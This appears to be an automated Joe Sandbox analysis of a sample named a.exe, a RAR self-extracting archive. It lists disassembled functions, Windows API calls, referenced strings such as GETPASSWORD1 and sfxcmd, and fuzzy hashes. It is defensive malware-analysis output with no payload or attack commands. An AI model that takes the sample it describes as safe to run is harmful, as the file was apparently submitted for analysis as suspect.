Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe
API String ID: 2506810119-4218244530
Opcode ID: afa9c9af2c1049fe06262d76b4a4cc9019f77e2344d4194ae3f064e55c4cada8
Instruction ID: 3633ed1a0de351135f0b777170558dda6873b15a5d0763247117db198c4ff1f1
Opcode Fuzzy Hash: afa9c9af2c1049fe06262d76b4a4cc9019f77e2344d4194ae3f064e55c4cada8
Instruction Fuzzy Hash: 79316E71A04258AFDF21EB999D819AEBBFCEFC5714F205066F808B7211DA709E44CB91

Function 00E97B56 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00E97B7B
_abort.LIBCMT ref: 00E97C86

Strings

RCC, xrefs: 00E97B95
MOC, xrefs: 00E97B8D

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: fc2ae1cf0d8cebd44e739f14f7c5c142d615fab81ab663222657f415bb67aba3
Instruction ID: 8c032b4ef3c0deb6e92732df061ded5dfb95be4b7c15373cbb598760ffd56e79
Opcode Fuzzy Hash: fc2ae1cf0d8cebd44e739f14f7c5c142d615fab81ab663222657f415bb67aba3
Instruction Fuzzy Hash: 0B419A71904209AFCF16CF98CD81AEEBBB5FF08304F199059F94477251D336A954DB50

Function 00E904CE Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E90523
_wcslen.LIBCMT ref: 00E9053E

Strings

D+, xrefs: 00E904ED
}, xrefs: 00E90516

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcslen
String ID: D+$}
API String ID: 176396367-3171742791
Opcode ID: 88e46eaa91926850f549d7572447916211aa95ef5049958eb3e8a29d5de8639c
Instruction ID: 2d21f4ff250e7aa36d61d9042dd18810f7f78359aa1de506156c30bd44ee4e0e
Opcode Fuzzy Hash: 88e46eaa91926850f549d7572447916211aa95ef5049958eb3e8a29d5de8639c
Instruction Fuzzy Hash: 4021357290430A5EDF31EB64D845A6BB3ECDF81718F91242AF640E3101EB70ED48C7A2

Function 00E83F4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00E83FB4
_strncpy.LIBCMT ref: 00E83FFA

Part of subcall function 00E87B46: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00E8498A,?,00000000,00000000,?,?,?,00E8498A,?,?,00000050), ref: 00E87B63

Strings

@%s, xrefs: 00E83F9E
$%s, xrefs: 00E83FA9

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 82bcaac0b9c5dc236b9ae416ecc84d7b267fdc46c8a140839bb130b339ee6a4a
Instruction ID: 7e9f115e58d1d7c83dc8f8b4b306dcb73556f79ea4e930654d2c602cf91f92d1
Opcode Fuzzy Hash: 82bcaac0b9c5dc236b9ae416ecc84d7b267fdc46c8a140839bb130b339ee6a4a
Instruction Fuzzy Hash: 55218E72940308AAEF21EEB4CD06FDE7BE9AB15704F041122FA1CB61A1E671D6488B91

Function 00E902B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00E811E6: GetDlgItem.USER32(00000000,00003021), ref: 00E8122A
Part of subcall function 00E811E6: SetWindowTextW.USER32(00000000,00EA8574), ref: 00E81240

EndDialog.USER32(?,00000001), ref: 00E902FE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00E90316
SetDlgItemTextW.USER32(?,00000067,?), ref: 00E90344

Strings

GETPASSWORD1, xrefs: 00E902C9

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 54746c1c356ef7efa8a9156d05288a4821dc7fab9d1b14f28d486d313f71d088
Instruction ID: d2546cdd2ae36977a03e5ac5bbc91098f79246ecc5a3c0020b6c530520681ce8
Opcode Fuzzy Hash: 54746c1c356ef7efa8a9156d05288a4821dc7fab9d1b14f28d486d313f71d088
Instruction Fuzzy Hash: 1D110432940118BFDF21AB649C8DFFB3BBCEB4A754F801011F649BA181C2A1A985C770

Function 00E876BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00E876E6

Part of subcall function 00E839A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E839BC

Part of subcall function 00E817D7: GetLastError.KERNEL32(00E81950,00000000,00000400), ref: 00E817D7
Part of subcall function 00E817D7: FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00E817F8

GetLastError.KERNEL32(?,00000200), ref: 00E8772E
SetLastError.KERNEL32(00000000,?,00000000,00000096,00000035), ref: 00E8775C

Part of subcall function 00E868A5: _wcslen.LIBCMT ref: 00E868AB

Strings

D+, xrefs: 00E876F4

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ErrorLast$FormatMessage__vswprintf_c_l_swprintf_wcslen
String ID: D+
API String ID: 1654949425-1750190960
Opcode ID: 047775be3edc6a0981b80a93c7d939c7d5ee7020ad4e8ea5ae896e93e2fb21ac
Instruction ID: 738acf84cccd9b7a78d261dfb84241aa19b5f7d798c05f556b026d78eecf8a38
Opcode Fuzzy Hash: 047775be3edc6a0981b80a93c7d939c7d5ee7020ad4e8ea5ae896e93e2fb21ac
Instruction Fuzzy Hash: 9501DD768412187EEB11BBA48C4AFDB77ACFF09785F041096B60DF2181D975AA448BA1

Function 00E935FE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,C5,0000001C,00E93738,00000000,?,?,?,?,?,?,?,00E93543,00000004,00EE832C,00E937C8), ref: 00E9360F
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00E93543,00000004,00EE832C,00E937C8), ref: 00E9362A

Strings

C5, xrefs: 00E93606, 00E9360B
D, xrefs: 00E9361E

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: InfoQuerySystemVirtual
String ID: C5$D
API String ID: 401686933-510796074
Opcode ID: 496ec935105ab3b99c599bbfb85c2101d0cd666327e5f6cbbf72099b926082db
Instruction ID: d45a607f000d04b814ed69aa3f2783d8f8e52f11922aa293a89b0d5b1f9b6d32
Opcode Fuzzy Hash: 496ec935105ab3b99c599bbfb85c2101d0cd666327e5f6cbbf72099b926082db
Instruction Fuzzy Hash: 6D012B72700109ABCF14DE29CC05BDE7BEAAFC5368F0CC221ED59E7251EA34E906C680

Function 00E92CB9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00E92CF8, 00E92D2C
RENAMEDLG, xrefs: 00E92D0D

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 9fbcdcf3120d393296128ff050c86e0c29e56599c6e9eda97d387358bcbcd34d
Instruction ID: 0209069743b2d244ac693c4584795c78c093bdf7fc79e6c3a1b17d43cbd26310
Opcode Fuzzy Hash: 9fbcdcf3120d393296128ff050c86e0c29e56599c6e9eda97d387358bcbcd34d
Instruction Fuzzy Hash: C5019272600248BFDF018F16EC84E967FA8F74D354F001439FA05BA371C2229C559B91

Function 00E92BF6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00E92C0C
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00E92C48

Strings

sfxcmd, xrefs: 00E92C07
sfxpar, xrefs: 00E92C43

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 14d0b4df5af26fb80855646a0d68bd0d8cf91ef9b4aa948404c0ba98285844c0
Instruction ID: afd7ccd5cd06d641add2d5431bc3aaf42fcce90b7d4c96f8283dce881de0ed1f
Opcode Fuzzy Hash: 14d0b4df5af26fb80855646a0d68bd0d8cf91ef9b4aa948404c0ba98285844c0
Instruction Fuzzy Hash: CFF0EC75401224B7CF206B518C05EEA77E8DF29745B015415FD4975142DA60DC41CBF1

Function 00E9E33E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00E9E3C9
__alldvrm.LIBCMT ref: 00E9E5CA
__alldvrm.LIBCMT ref: 00E9E5EC

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: c473ededd4b5f231787ad5e923ecbfe23fc31c8736d218f3f9b2a250fc0429ba
Instruction ID: 8f2d2b249839e77e8406537970a3eea259c19911e50bbbf0d63073855b00635f
Opcode Fuzzy Hash: c473ededd4b5f231787ad5e923ecbfe23fc31c8736d218f3f9b2a250fc0429ba
Instruction Fuzzy Hash: 81A16672A003869FEF25CE18C8917AEBBE1EF55318F19516DE694BB382E234DD41C750

Function 00E827B2 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00E82858
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800), ref: 00E8289C
SetFileTime.KERNEL32(?,?,?,00000000), ref: 00E8291D
CloseHandle.KERNEL32(?), ref: 00E82924

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 9559c15082370fd4cccdbccbe73c448e0f786e94808219bcaca56aa5f04a0cf3
Instruction ID: e04675da9ad0f9f7cbbb01e632105b06f7f5d176576b0930847f331919c02c46
Opcode Fuzzy Hash: 9559c15082370fd4cccdbccbe73c448e0f786e94808219bcaca56aa5f04a0cf3
Instruction Fuzzy Hash: 9A41E030248380AAEB25EF24CC45FAABBE4AF85704F04091DF6DDA31D0D674EA4CD752

Function 00EA1308 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,6AE85006,00E9905E,00000000,00000000,00E9A093,?,00E9A093,?,00000001,00E9905E,6AE85006,00000001,00E9A093,00E9A093), ref: 00EA1355
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00EA13DE
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00EA13F0
__freea.LIBCMT ref: 00EA13F9

Part of subcall function 00E9DA90: RtlAllocateHeap.NTDLL(00000000,?,?,?,00E98B1E,?,0000015D,?,?,?,?,00E99FFA,000000FF,00000000,?,?), ref: 00E9DAC2

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 8875755e58274e4c90adbfff3637c7de8fd65c5756e29a3e2aab2127be917b73
Instruction ID: 6ef7bb1a0b0db969e939399037eaaf2ad21dbe481befcadb9da96b3c28fe353b
Opcode Fuzzy Hash: 8875755e58274e4c90adbfff3637c7de8fd65c5756e29a3e2aab2127be917b73
Instruction Fuzzy Hash: FE31DF72A0021AAFDF249F64CC45DAF3BA5EB49314F0501A8FC04EB250EB35ED59CB90

Function 00E8F883 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00E8F886
GetDeviceCaps.GDI32(00000000,00000058), ref: 00E8F895
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E8F8A3
ReleaseDC.USER32(00000000,00000000), ref: 00E8F8B1

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 1e27a9fb2dd4a5a7fbdcfb8415abde03f3c98b4b7677a91bc8ec497d254581fe
Instruction ID: 6d513d003270d1955738f7c4a473badbd0984877b37cd4f6dc52a3e8f5822cd1
Opcode Fuzzy Hash: 1e27a9fb2dd4a5a7fbdcfb8415abde03f3c98b4b7677a91bc8ec497d254581fe
Instruction Fuzzy Hash: 5EE08C71942771AFD3A01B62AC4CF8A3AA4AB09712F050161FA05BA2D1C67084088B90

Function 00E9FB38 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E9FCA4

Part of subcall function 00E9D96C: IsProcessorFeaturePresent.KERNEL32(00000017,00E9D95B,00000003,?,00000000,00E9D720,00000000,00000016,?,?,00E9D968,00000000,00000000,00000000,00000000,00000000), ref: 00E9D96E
Part of subcall function 00E9D96C: GetCurrentProcess.KERNEL32(C0000417,?,00000003,00E9E188), ref: 00E9D990
Part of subcall function 00E9D96C: TerminateProcess.KERNEL32(00000000,?,00000003,00E9E188), ref: 00E9D997

Strings

*?, xrefs: 00E9FB7B
., xrefs: 00E9FE5B

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 04a8c1315428eb77e5661f47ed1524956a01f530d4904b9d9e4da6d5b0807b3e
Instruction ID: 85352de58d31d920cf178b3cc10d91ca109a632950092c14ca3a774257e7b400
Opcode Fuzzy Hash: 04a8c1315428eb77e5661f47ed1524956a01f530d4904b9d9e4da6d5b0807b3e
Instruction Fuzzy Hash: EF518D72E0021AAFDF14DFA8C881AADFBF5EF48314F24917AE854F7340E6319A018B50

Function 00E82E7E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 00E82F3C
_wcschr.LIBVCRUNTIME ref: 00E82F7C

Strings

*, xrefs: 00E82E8E

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcschr
String ID: *
API String ID: 2691759472-163128923
Opcode ID: ee27a419c0e6f513f4b91ce8a0b5b64f7f8ca0b0a56611310b7316463f2eddf9
Instruction ID: 81ce393dc3f0c39c9e59248e4e832c7c5f9a917ba3026acecf082e74e83705e2
Opcode Fuzzy Hash: ee27a419c0e6f513f4b91ce8a0b5b64f7f8ca0b0a56611310b7316463f2eddf9
Instruction Fuzzy Hash: 02312832748311AA8A30BB549902A7BB3F4EF91B58F15A40EFF8D77180E7229D46D361

Function 00E8E80B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000005,?,?,?,?,00E8EA66,00000000,?), ref: 00E8E909
SetWindowTextW.USER32(00000000,00000000), ref: 00E8E913

Strings

1, xrefs: 00E8E8FE

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Window$ShowText
String ID: 1
API String ID: 1551406749-1475023258
Opcode ID: dbf927ce8bc235460ed130c4f67f601348d471c09927c08ebda42f3af659de6c
Instruction ID: 6980ddda8df1d704d4d534f1b788a2ab978263cfb8a36026c4d9e32ebee9ec4f
Opcode Fuzzy Hash: dbf927ce8bc235460ed130c4f67f601348d471c09927c08ebda42f3af659de6c
Instruction Fuzzy Hash: B1315C7260071AAFC709EF65EC84A2ABBE8BF8D304B14045DF549A7360DF61BC05CBA1

Function 00E9ECF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E9ED1E
_free.LIBCMT ref: 00E9ED44

Strings

x7, xrefs: 00E9EDAB

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _free
String ID: x7
API String ID: 269201875-374306512
Opcode ID: efb26f161a85536b87cbacafdb247f78bf9276994478757c688f85364d1b2643
Instruction ID: 2d4a970a43d288df3a8dc6ee3b3b7049916c1d3be6168e773217c9bff9647541
Opcode Fuzzy Hash: efb26f161a85536b87cbacafdb247f78bf9276994478757c688f85364d1b2643
